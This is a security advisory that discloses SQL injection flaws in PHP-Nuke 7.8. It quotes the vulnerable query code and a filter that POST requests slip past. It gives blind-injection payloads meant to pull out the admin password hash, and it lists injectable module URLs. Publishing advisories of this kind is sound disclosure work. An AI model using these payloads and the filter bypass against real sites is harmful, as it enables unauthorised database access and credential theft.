`[NewAngels Advisory #7]PHP Nuke <= 7.8 Multiple SQL Injections  
=============================================================================  
  
  
Software: PHP Nuke 7.8  
Type: SQL Injections  
Risk: High

Description:  
============  
PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet.  
The Administrator has total control of his web site, registered users, and he will have in the hand  
a powerful assembly of tools to maintain an active and 100% interactive web site using databases.  
[http://www.phpnuke.org/]  
  
  
Vulnerability:  
==============  
  
PHP Nuke 7.8 is prone to multiple SQL injection vulnerabilities.  
These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.  
  
In the modules.php  
  
$result = $db->sql_query("SELECT active, view FROM ".$prefix."_modules WHERE title='$name'");  
  
The $name variable is not checked so you could inject malicious SQL Code. In an file which is included whe have the following code:  
  
  
  
$queryString = strtolower($_SERVER['QUERY_STRING']);  
if (stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'/*') OR stripos_clone($queryString,'*/union/*') OR stripos_clone($queryString,'c2nyaxb0')) {  
header("Location: index.php");  
die();  
}  
  
[...]  
  
if (!ini_get("register_globals")) {  
import_request_variables('GPC');  
}  
  
So you can use UNION in a GET var. But because they use register_globals or impor_request_variables you can send  
the malicous SQL-Code via POST so it is not checked if you insert an "union".  
  
http://www.example.com/modules.php POST: name=' OR 1=1/*  
will produce an error, neither  
http://www.example.com/modules.php POST: name=' OR 1=2/*  
will only tell you taht the requestet 'modul' is not active, so you can read out the admin password hahs via blind injections.  
  
Additionaly there are a few SQL-Injections in the modules.  
Here a few examples:  
  
http://www.example.com/modules.php?name=News&file=article&sid=[SQL] - here the same as above, send this via POST to  
bypass the 'union'-cover  
  
http://www.example.com/modules.php?name=News&file=comments&Reply&pid=[SQL]  
  
http://www.example.com/modules.php?name=News&file=comments&op=Reply&pid=[SQL]  
  
http://www.example.com/modules.php?name=News&file=comments&op=Reply&sid=[SQL]
